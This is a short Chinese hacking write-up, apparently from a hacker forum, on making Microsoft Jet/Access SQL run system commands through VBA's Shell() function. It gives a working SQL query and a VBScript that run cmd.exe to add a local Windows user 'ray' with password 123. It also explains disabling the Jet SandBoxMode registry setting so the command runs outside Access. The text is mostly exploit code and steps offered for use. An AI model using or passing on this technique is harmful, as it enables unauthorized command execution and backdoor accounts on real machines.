首先我在<Jet引擎可以调用VBA的shell()函数>(http://www.520hack.com)这份资料知道在accessl里可以直接进行sql查询,具体的在Access中测试.测试的SQL语句如下:
Select shell('c:/windows/system32/cmd.exe /c net user ray 123 /ad');
查看计算机管理的本地用户,马上发现多出一个ray用户,说明语句成功执行了.接下来写一个VBS脚本任意连接一个mdb来测试这个SQL语句
Set Conn=Createobject("Adodb.Connection")
Conn.Open "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=test.mdb"
Set Rs=Conn.execute("Select Shell(""cmd.exe /c net user ray 123 /ad"")")
Msgbox Rs(0)
运行后会出现"表达式中的'Shell'函数未定义"的错误,<Jet引擎可以调用VBA的shell()函数>提到WINDOWS在Jet 引擎中设置了一个名为SandBoxMode的开关,它的注册表位置在HKEY_LOCAL_MACHINE/SoftWare/Microsoft/ Jet/4.0/Engine/SandBoxMode里,0为在任何所有者中中都禁止起用安全设置,1为仅在允许的范围之内,2则是必须是Access 的模式下,3则是完全开启安全设置.默认情况下为2,只能在Access的模式下调用VBA的shell()函数,我们尝试将此注册表值改为0,结果成功的运行了VBS利用Jet引擎可以调用VBA的shell()函数执行了系统命令.